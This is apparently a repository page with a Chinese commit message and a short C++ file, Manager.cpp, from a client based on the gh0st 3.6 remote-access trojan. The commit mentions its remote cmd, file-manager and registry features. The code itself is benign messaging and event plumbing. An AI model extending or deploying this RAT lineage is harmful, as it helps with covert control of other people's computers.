1、还原客户端的文件管理模块代码为gh0st的源码3.6版本. 2、修复上述"cmd窗口总是将输入命令输出2次"的遗留问题。 3、打开注册表关闭后崩溃,参照按对文件管理窗口的修改进行处理。遗留问题:并无内存泄漏,但退出时报"HEAP: Free Heap modified after it was freed"问题。
51 lines
1.0 KiB
C++
51 lines
1.0 KiB
C++
// Manager.cpp: implementation of the CManager class.
|
|
//
|
|
//////////////////////////////////////////////////////////////////////
|
|
|
|
#include "stdafx.h"
|
|
#include "Manager.h"
|
|
|
|
//////////////////////////////////////////////////////////////////////
|
|
// Construction/Destruction
|
|
//////////////////////////////////////////////////////////////////////
|
|
|
|
CManager::CManager(IOCPClient* ClientObject)
|
|
{
|
|
m_ClientObject = ClientObject;
|
|
m_ClientObject->setManagerCallBack(this);
|
|
|
|
m_hEventDlgOpen = CreateEvent(NULL,TRUE,FALSE,NULL);
|
|
}
|
|
|
|
CManager::~CManager()
|
|
{
|
|
if (m_hEventDlgOpen!=NULL)
|
|
{
|
|
CloseHandle(m_hEventDlgOpen);
|
|
m_hEventDlgOpen = NULL;
|
|
}
|
|
}
|
|
|
|
|
|
int CManager::Send(LPBYTE lpData, UINT nSize)
|
|
{
|
|
int nRet = 0;
|
|
try
|
|
{
|
|
nRet = m_ClientObject->OnServerSending((char*)lpData, nSize);
|
|
}catch(...){};
|
|
return nRet;
|
|
}
|
|
|
|
VOID CManager::WaitForDialogOpen()
|
|
{
|
|
WaitForSingleObject(m_hEventDlgOpen, INFINITE);
|
|
//必须的Sleep,因为远程窗口从InitDialog中发送COMMAND_NEXT到显示还要一段时间
|
|
Sleep(150);
|
|
}
|
|
|
|
VOID CManager::NotifyDialogIsOpen()
|
|
{
|
|
SetEvent(m_hEventDlgOpen);
|
|
}
|